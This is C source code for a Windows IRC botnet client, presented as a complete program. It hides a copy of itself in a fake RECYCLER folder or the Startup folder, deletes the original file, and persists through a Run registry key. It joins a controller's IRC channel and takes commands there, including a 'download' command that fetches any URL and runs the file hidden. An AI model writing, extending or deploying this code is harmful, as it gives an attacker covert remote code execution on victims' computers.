#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#include <urlmon.h>
#define MAX_IRC_LINE 513
#define MAX_NICKLEN 18
#define REQ_NICKLEN 7
#define CRLF "\r\n"
#define SLEEP_TIME 5 //seconds
#define DNS "dns goes here"
#define PORT 989
#define IRCD_PASS
#define CHAN_NAME "#test"
#define CHAN_KEY "test"
#define USER "nick!ident@host"//no wildcards
#define PREFIX '!'
#define MUTEX "himutexlol"//mutex
#define FILE_NAME "botbot.exe"//bot's name
#define NEW_FILE "C:\\a.txt"//to mark previous install
//global variables
SOCKET sock;
char recvbuf [ MAX_IRC_LINE ];
int iResult;
bool IsFirstJoin()
{
HANDLE hFile;
hFile = CreateFile( NEW_FILE,
GENERIC_WRITE,
0,
0,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL);
if ( hFile == INVALID_HANDLE_VALUE || GetLastError() == ERROR_ALREADY_EXISTS)
return false;
CloseHandle(hFile);
return true;
}
BOOL IsVista()
{
OSVERSIONINFO vi;
ZeroMemory(&vi, sizeof(vi));
vi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &vi );
return (vi.dwMajorVersion == 6 );
}
//reptile nick functions nawwwwww
//////////////////////////////////////////////////////
char* nickgen_curbox(void)
{
char rndnick[MAX_NICKLEN];
ZeroMemory(rndnick,MAX_NICKLEN);
BOOL good=FALSE;
DWORD dwcb=MAX_NICKLEN;
GetComputerName(rndnick,&dwcb);
for (int j=65;j<91;j++) { if (rndnick[0] == j) good=TRUE; }
for (int k=97;k<123;k++) { if (rndnick[0] == k) good=TRUE; }
if (!good)
sprintf(rndnick,"Error");
return rndnick;
}
char *nickgen_rndltr(void)
{
char rndnick[MAX_NICKLEN];
ZeroMemory(rndnick,MAX_NICKLEN);
int i;
for ( i=0;i<=REQ_NICKLEN;i++)
rndnick[i] = (rand()%26)+97;
rndnick[i] = '\0';
return rndnick;
}
char *nickgen_os(void)
{
char *os;
char rndnick[MAX_NICKLEN];
ZeroMemory(rndnick,MAX_NICKLEN);
if (IsFirstJoin())
strcat(rndnick, "N-");
OSVERSIONINFO osVI;
osVI.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
if (GetVersionEx(&osVI)) {
if(osVI.dwMajorVersion==4 && osVI.dwMinorVersion==0)
{ if(osVI.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS) os="95-";
if(osVI.dwPlatformId==VER_PLATFORM_WIN32_NT) os="NT-"; }
else if(osVI.dwMajorVersion==4 && osVI.dwMinorVersion==10) os="98-";
else if(osVI.dwMajorVersion==4 && osVI.dwMinorVersion==90) os="ME-";
else if(osVI.dwMajorVersion==5 && osVI.dwMinorVersion==0) os="2K-";
else if(osVI.dwMajorVersion==5 && osVI.dwMinorVersion==1) os="XP-";
else if(osVI.dwMajorVersion==5 && osVI.dwMinorVersion==2) os="2K3-";
else os="VS-";
} else
os="VS-";
sprintf(rndnick,os);
for (int i=strlen(rndnick);i<=REQ_NICKLEN;i++)
rndnick[i]=(rand()%10)+48;
return rndnick;
}///////////////////////////////
BOOL SendLine( const char *fmt, ... )
{
//char buffer[MAX_IRC_LINE];
va_list args;
char* buffer;
int len;
//format the string
va_start ( args, fmt );
len = _vscprintf( fmt, args ) + 1;
buffer = new char[ len + 2 ];//\r\n
vsprintf ( buffer, fmt, args );
va_end ( args );
strcat( buffer, CRLF);
iResult = send( sock, buffer, strlen( buffer ), 0 );
//printf( "Sending: %s ", buffer, iResult );
delete [] buffer;
return ( iResult != SOCKET_ERROR );
}
BOOL DownAndExec( char* url , char* path , BOOL exec )
{
if ( URLDownloadToFileA( NULL, url, path, 0, 0 ) == S_OK )
{
if (exec)
ShellExecute( 0, "open", path, NULL, NULL, SW_HIDE );
return TRUE;
}
else
return FALSE;
}
BOOL ParseCommands( char* commands )
{
if ( commands[0] == PREFIX )
{
char* tokens[256];
size_t start = 0;
size_t end;
int i = 0;
char* str = commands + 1;
while (str[start] != '\0')
{
end = strcspn(str + start, " ");
tokens[i]= new char[end+1];
memset(tokens[i],0,end+1);
strncpy(tokens[i],str + start,end);
start += (str[start + end] != '\0') ? end + 1 : end;
i++;
}
//test
if ( i == 1 )
{
if ( strcmp ( tokens[0] , "test" ) == 0)
if ( !SendLine( "PRIVMSG %s :%s",CHAN_NAME , "hi sir LOL" ) )
return FALSE;
}
//test one
if ( i == 2 )
{
}
//test one two
if ( i == 3 )
{
}
//test one two three
if ( i == 4 )
{
//download http://url C:\path 1|0
if ( strcmp ( tokens[0] , "download" ) == 0 )
{
if ( !SendLine( "PRIVMSG %s :Downloading url: \x03\x31\x32%s\x03 to path: \x03\x31\x32%s\x03 %s executing." , CHAN_NAME, tokens[1],tokens[2],(strcmp(tokens[3], "1") == 0)?"\x03\x33with\x03":"\x03\x34without\x03") )
return FALSE;
//"\x03\x34" red
//"\x03\x33" green
//"\x03\x31\x32" blue
//"\x03" limiter
if ( DownAndExec( tokens[1], tokens[2],(strcmp(tokens[3], "1") == 0)?TRUE:FALSE) )
{
if ( !SendLine ( "PRIVMSG %s :Downloading url: \x03\x33Succeeded!\x03" , CHAN_NAME ) )
return FALSE;
}
else
{
if ( !SendLine ( "PRIVMSG %s :Downloading url: %sFailed!\x03" , "\x03\x33", CHAN_NAME) )
return FALSE;
}
}
}
//test one two three four
if ( i == 5 )
{
}
for( int j = 0; j < i ; j ++ )
delete [] tokens[j];
}
return TRUE;
}
BOOL ParseLine( char* str )
{
char* tokens[256]; //max number of tokens is 512/2 in case there is a space after each character
size_t start = 0;
size_t end;
int i = 0;
while (str[start] != '\0')
{
end = strcspn(str + start, " ");
tokens[i]= new char[end+1];
memset(tokens[i],0,end+1);
strncpy(tokens[i],str + start,end);
start += (str[start + end] != '\0') ? end + 1 : end;
i++;
}
if ( i == 2 )
{
//PING
if ( strcmp( tokens[0], "PING" ) == 0 )
{
if ( !SendLine( "PONG %s", tokens[1]) )
return FALSE;
}
}
if ( i > 2 )
{
//Nick Collision
if ( strcmp( tokens[1] , "433" ) == 0 )
{
if ( !SendLine( "%s :%s", "NICK" , "nick2") )
return FALSE;
}
//beginning
else if ( strcmp( tokens[1] , "001" ) == 0 )
{
if ( !SendLine( "%s %s %s", "JOIN" , CHAN_NAME, CHAN_KEY) )
return FALSE;
}
//end of MOTD
else if ( strcmp( tokens[1] , "376" ) == 0 )
{
if ( !SendLine( "%s %s %s", "JOIN" , CHAN_NAME, CHAN_KEY) )
return FALSE;
}
//NO MOTD
else if ( strcmp( tokens[1] , "422" ) == 0 )
{
if ( !SendLine( "%s %s %s", "JOIN" , CHAN_NAME, CHAN_KEY) )
return FALSE;
}
}
if ( i > 2 )
{
if ( strcmp( tokens[1], "KICK") == 0 )
{
if ( !SendLine( "%s %s %s" , "JOIN" , tokens[2] , CHAN_KEY ) )
return FALSE;
}
}
if ( i > 3 )
{
if ( strcmp( tokens[1], "PRIVMSG" ) == 0 )
{
//check user
if ( (strcmp( tokens[0]+1 , USER ) == 0) && (strcmp( tokens[2] , CHAN_NAME ) == 0 ) ) //authenicated user and out channel
{
if ( !ParseCommands( str + strlen(tokens[0]) + 1 + strlen(tokens[1]) + 1 + strlen(tokens[2]) + 2) )
return FALSE;
}
}
//topic
else if ( strcmp ( tokens[1], "332" ) == 0 )
{
if ( !ParseCommands( str + strlen(tokens[0]) + 1 + strlen(tokens[1]) + 1 + strlen(tokens[2]) + 1 + strlen(tokens[3]) + 2 ) )
return FALSE;
}
}
for( int j = 0; j < i ; j ++ )
delete [] tokens[j];
return TRUE;
}
BOOL ConnectIRC( char* dns, unsigned int port )
{
WSADATA wsaData;
sockaddr_in address;
HOSTENT *Host;
if (WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0)
{
// printf( "WSAStartup failed: %d\n", WSAGetLastError() );
return FALSE;
}
if ( IsCharAlpha( dns[0] ) )
{
Host = gethostbyname( dns );
if ( !Host )
{
// printf( "Failed To Resolve Host\n" );
return FALSE;
}
memcpy( &( address.sin_addr ), Host->h_addr, Host->h_length );
}
else
{
address.sin_addr.s_addr = inet_addr( dns) ;
}
address.sin_family = AF_INET;
address.sin_port = htons( port );
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( !sock )
{
//printf("socket() failed: %d\n",WSAGetLastError( ));
return FALSE;
}
//connect to irc server
//add select maybe
if( connect( sock, ( SOCKADDR * )&address, sizeof( address ) ) != 0 ) {
// printf( "Failed to connect() to server: %d\n", WSAGetLastError( ) );
return FALSE;
}
return TRUE;
}
BOOL IRCWork()
{
char nick[64];
char ident[64];
char fullname[64];
strcpy(nick, nickgen_os());
strcpy(ident, nickgen_rndltr());
strcpy(fullname, nickgen_curbox());
//send initial stuff
if ( !SendLine( "PASS %s", IRCD_PASS ) ||
!SendLine( "NICK %s",nick ) ||
!SendLine( "USER %s %s %s :%s", ident, nick, nick, fullname ) )
return FALSE;
//recv response
/*do {
memset( recvbuf, 0, MAX_IRC_LINE );
iResult = recv( sock, recvbuf, MAX_IRC_LINE - 1 , 0 );
if ( iResult > 0 )
{
//printf( "\nParsing: %s", recvbuf );
char * pch;
pch = strtok ( recvbuf, CRLF );
while ( pch != NULL )
{
if ( !ParseLine( pch ) )
return FALSE;
pch = strtok ( NULL, CRLF);
}
}*/
//recv response
memset( recvbuf, 0, MAX_IRC_LINE );
int i =0;
do {
char recvchar = 0;
iResult = recv( sock, &recvchar, 1, 0);
if ( iResult > 0 )
{
recvbuf[i++] = recvchar;
if ( i == 512 && recvchar != '\n')//wtf happened ???
return FALSE;
if ( recvchar == '\n' )
{
recvbuf[i-2] = '\0';
if ( !ParseLine( recvbuf ) )
return FALSE;
//reset
memset( recvbuf, 0, MAX_IRC_LINE );
i = 0;
}
else if ( iResult == 0 )
{
//printf( "Connection closed\n" );
return FALSE;
}
else
{
// printf( "recv failed: %d\n", WSAGetLastError() );
return FALSE;
}
} while( iResult > 0 );
return TRUE;
}
DWORD WINAPI IRCLoop()
{
sock = INVALID_SOCKET;
iResult = 0;
while( !ConnectIRC( DNS , PORT ) )
Sleep(SLEEP_TIME * 1000);
if ( !IRCWork() )
{
closesocket(sock);
}
return 0;
}
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
HANDLE hThread = NULL;
HANDLE Mutex = NULL;
HKEY Key = NULL;
char SelfPath[MAX_PATH];
char Path [MAX_PATH];
char Del [MAX_PATH];
memset( SelfPath, 0 , sizeof SelfPath );
memset( Path, 0 , sizeof Path );
memset( Del, 0 , sizeof Del );
//nocen fag idea of melt
if( __argc >= 2 )
{
Sleep( 1000 );
DeleteFile( __argv[1] );
}
Mutex = CreateMutexA( NULL, FALSE, MUTEX );
if( GetLastError() == ERROR_ALREADY_EXISTS )
ExitProcess( 0 );
GetModuleFileNameA( GetModuleHandleA(NULL), SelfPath, sizeof(SelfPath) );
if ( IsVista() ) //vista ( not tested)
{
_snprintf( Path, sizeof(Path), "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s", FILE_NAME );
}
else
{
_snprintf( Path, sizeof(Path), "C:\\RECYCLER\\S-1212428712\\%s", FILE_NAME );
}
if( strcmp( SelfPath, Path ) != 0 )
{
if ( GetFileAttributes("C:\\RECYCLER") == INVALID_FILE_ATTRIBUTES )
{
CreateDirectoryA("C:\\RECYCLER", NULL);
}
CreateDirectoryA("C:\\RECYCLER\\S-1212428712", NULL);
CopyFileA(SelfPath, Path, FALSE);
DWORD bla = GetLastError();
SetFileAttributes( Path , FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY );
GetShortPathName( SelfPath, Del, sizeof(Del) );
ShellExecute( NULL, "open", Path, Del, NULL, SW_HIDE );
ExitProcess( 0 );
}
if (!IsVista())
{
RegCreateKeyEx( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&Key,
NULL );
RegSetValueEx( Key,
FILE_NAME,
0,
REG_SZ,
(const unsigned char*)SelfPath,
strlen(SelfPath) );
RegCloseKey( Key );
}
//Start IRC Thread
while(1)
{
if ( (hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)IRCLoop, NULL, 0, NULL ) ) == NULL )
{
Sleep(SLEEP_TIME*1000);
continue;
}
WaitForSingleObject(hThread , INFINITE);
CloseHandle(hThread);
Sleep(SLEEP_TIME*1000);
};
return 0;
}